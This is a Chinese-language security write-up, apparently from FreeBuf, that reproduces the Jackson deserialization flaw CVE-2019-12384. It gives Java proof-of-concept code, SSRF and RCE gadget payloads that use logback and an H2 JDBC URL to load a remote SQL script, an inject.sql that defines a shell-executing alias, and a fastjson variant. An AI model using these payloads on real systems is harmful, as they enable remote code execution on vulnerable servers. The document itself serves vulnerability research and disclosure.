*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
引言
近期关于Jackson的RCE漏洞CVE-2019-12384爆出,关于漏洞的复现以及依赖,这里已经给出,笔者这边使用java的环境重新复现了一下,权当给各位看官当个翻译,也让在java上进行漏洞复现的兄弟们少走点弯路。
环境准备
本次漏洞有比较鸡肋的地方,就是依赖的第三方jar包有点多,除去jackson自身的jar包以外还需要logback-core和h2,具体的pom配置如下:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency>
<!--https://mvnrepository.com/artifact/ch.qos.logback/logback-core -->
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-core</artifactId>
<version>1.3.0-alpha4</version>
</dependency>
<!--https://mvnrepository.com/artifact/com.h2database/h2 -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.199</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.199</version>
<scope>compile</scope>
</dependency>
漏洞复现
国外的大佬们用的是ruby实现的漏洞利用环境,我这边为了方便idea的debug,索性使用java来做复现,具体的注意细节我也在代码里面注释了,大家看注释就好,
JackonSerial.java
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.h2.Driver;
public class JackonSerial {
public static void main(String[] args) throws Exception {
//一定要实例化Driver否则会报错
Class.forName("org.h2.Driver").newInstance();
System.out.println("Mapping");
//该条payload用于SSRF的复现
String jsonStr1 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:8005/~/test\"}]";
//该条payload用于RCE的复现
String jsonStr2 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
System.out.println("Serializing");
Object obj = mapper.readValue(jsonStr1, java.lang.Object.class)
System.out.println("objectified");
System.out.println("stringified: " + mapper.writeValueAsString(obj));
}
}
inject.sql
CREATE ALIASSHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException{
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open/Applications/Calculator.app/')
使用第一个payload实现SSRF的效果图。
使用第二个payload实现RCE的效果图。
漏洞分析
先看一下SSRF漏洞调用栈。
Jackson在进行序列化的时候会循环调用序列化对象所属类的每一个get方法,当调用getConnection()方法的时候,就去再去调DriverManager从而去链接远程的数据库,这也就是造成SSRF的原因
public Connection getConnection() throws SQLException {
return this.getUser() == null ? DriverManager.getConnection(this.url) : DriverManager.getConnection(this.url, this.getUser(), this.getPassword());
}
下面说一下RCE。
先介绍一下jdbc:h2:mem: 这种写法用于h2操作内存表,并且能在内存中执行sql语句,然后再通过RUNSCRIPT FROM 'http://localhost/inject.sql'来执行从远程获取的sql文件,当然此处改成直接执行本地语句造成命令执行也是可以的。
因为这些执行都是在本地应该内存中的,而本地代码就是java,就是只需要在sql里面写一个java代码的函数,通过CALL来调用,变回造成java代码在本地应用执行从而造成RCE,RCE的关键调用栈如下:
总结
1、这个漏洞的利用有两个特别鸡肋的点:
第一点, 它需要依赖两个jar才能造成rce漏洞;
第二点, 注意这个漏洞的触发,是在序列化恶意的对象的时候触发的,而jackjson大部分情况在web中都是用于处理去反序列化前端传入的json数据的。
2、相同的套路在fastjson也是可以造成RCE的,但是利用同样鸡肋。
Demo
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastJsonTest {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\", \"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}";
JSONObject json = JSON.parseObject(payload);
json.toJSONString();
}
}
*本文作者:平安银行应用安全团队-Glassy,转载请注明来自FreeBuf.COM